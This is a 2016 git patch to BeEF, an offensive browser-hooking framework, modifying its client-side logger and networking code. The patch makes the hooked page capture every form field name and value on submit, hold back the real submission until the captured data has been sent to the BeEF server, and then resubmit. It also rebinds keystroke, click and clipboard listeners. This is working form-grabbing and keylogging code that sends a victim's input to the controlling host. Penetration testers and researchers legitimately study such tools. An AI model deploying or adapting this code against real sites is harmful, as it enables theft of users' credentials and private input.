From d81db2491280ccfdeb995f3e3a62c6f931341379 Mon Sep 17 00:00:00 2001 From: Ilguiz Latypov Date: Mon, 15 Feb 2016 16:02:06 -0500 Subject: [PATCH] Delay form submission to allow the Javascript event loop complete the transfer of the log. #1215 --- core/main/client/logger.js | 63 ++++++++++++++++++++++++++++++++------ core/main/client/net.js | 20 +++++++++--- 2 files changed, 69 insertions(+), 14 deletions(-) diff --git a/core/main/client/logger.js b/core/main/client/logger.js index 784ee3621..f97bf096d 100644 --- a/core/main/client/logger.js +++ b/core/main/client/logger.js @@ -45,6 +45,10 @@ beef.logger = { this.data = null; this.mods = null; }, + /** + * Prevents from recursive event handling on form submission + */ + in_submit: false, /** * Starts the logger @@ -56,6 +60,15 @@ beef.logger = { var d = new Date(); this.time = d.getTime(); + $j(document).off('keypress'); + $j(document).off('click'); + $j(window).off('focus'); + $j(window).off('blur'); + $j('form').off('submit'); + $j(document.body).off('copy'); + $j(document.body).off('cut'); + $j(document.body).off('paste'); + $j(document).keypress( function(e) { beef.logger.keypress(e); } ).click( @@ -67,17 +80,19 @@ beef.logger = { function(e) { beef.logger.win_blur(e); } ); $j('form').submit( - function(e) { beef.logger.submit(e); } + function(e) { + beef.logger.submit(e); + } ); - document.body.oncopy = function() { + $j(document.body).on('copy', function() { setTimeout("beef.logger.copy();", 10); - }; - document.body.oncut = function() { + }); + $j(document.body).on('cut', function() { setTimeout("beef.logger.cut();", 10); - }; - document.body.onpaste = function() { + }); + $j(document.body).on('paste', function() { beef.logger.paste(); - } + }); }, /** @@ -86,7 +101,14 @@ beef.logger = { stop: function() { this.running = false; clearInterval(this.timer); - $j(document).keypress(null); + $j(document).off('keypress'); + $j(document).off('click'); + $j(window).off('focus'); + $j(window).off('blur'); + $j('form').off('submit'); + $j(document.body).off('copy'); + $j(document.body).off('cut'); + $j(document.body).off('paste'); }, /** @@ -181,16 +203,37 @@ beef.logger = { * TODO: Cleanup this function */ submit: function(e) { + if (beef.logger.in_submit) { + return true; + } try { var f = new beef.logger.e(); - var values = ""; f.type = 'submit'; f.target = beef.logger.get_dom_identifier(e.target); + var jqForms = $j(e.target); + var values = jqForms.find('input').map(function() { + var inp = $j(this); + return inp.attr('name') + '=' + inp.val(); + }).get().join(); + beef.debug('submitting form inputs: ' + values); + /* for (var i = 0; i < e.target.elements.length; i++) { values += "["+i+"] "+e.target.elements[i].name+"="+e.target.elements[i].value+"\n"; } - f.data = 'Action: '+$j(e.target).attr('action')+' - Method: '+$j(e.target).attr('method') + ' - Values:\n'+values; + */ + f.data = 'Action: '+jqForms.attr('action')+' - Method: '+$j(e.target).attr('method') + ' - Values:\n'+values; this.events.push(f); + this.queue(); + this.target = null; + beef.net.flush(function done() { + beef.debug("Submitting the form"); + beef.logger.in_submit = true; + jqForms.submit(); + beef.logger.in_submit = false; + beef.debug("Done submitting"); + }); + e.preventDefault(); + return false; } catch(e) {} }, diff --git a/core/main/client/net.js b/core/main/client/net.js index d58429145..5ddb693c8 100644 --- a/core/main/client/net.js +++ b/core/main/client/net.js @@ -144,7 +144,7 @@ beef.net = { * XHR-polling mechanism. If WebSockets are used, the data is sent * back to BeEF straight away. */ - flush: function () { + flush: function (callback) { if (this.cmd_queue.length > 0) { var data = beef.encode.base64.encode(beef.encode.json.stringify(this.cmd_queue)); this.cmd_queue.length = 0; @@ -162,7 +162,11 @@ beef.net = { stream.packets.push(packet); } stream.pc = stream.packets.length; - this.push(stream); + this.push(stream, callback); + } + } else { + if ((typeof callback != 'undefined') && (callback != null)) { + callback(); } } }, @@ -182,10 +186,18 @@ beef.net = { * It uses beef.net.request to send back the data. * @param: {Object} stream: the stream object to be sent back. */ - push: function (stream) { + push: function (stream, callback) { //need to implement wait feature here eventually + if (typeof callback === 'undefined') { + callback = null; + } for (var i = 0; i < stream.pc; i++) { - this.request(this.httpproto, 'GET', this.host, this.port, this.handler, null, stream.get_packet_data(), 10, 'text', null); + var cb = null; + if (i == (stream.pc - 1)) { + cb = callback; + } + this.request(this.httpproto, 'GET', this.host, this.port, this.handler, null, + stream.get_packet_data(), 10, 'text', cb); } },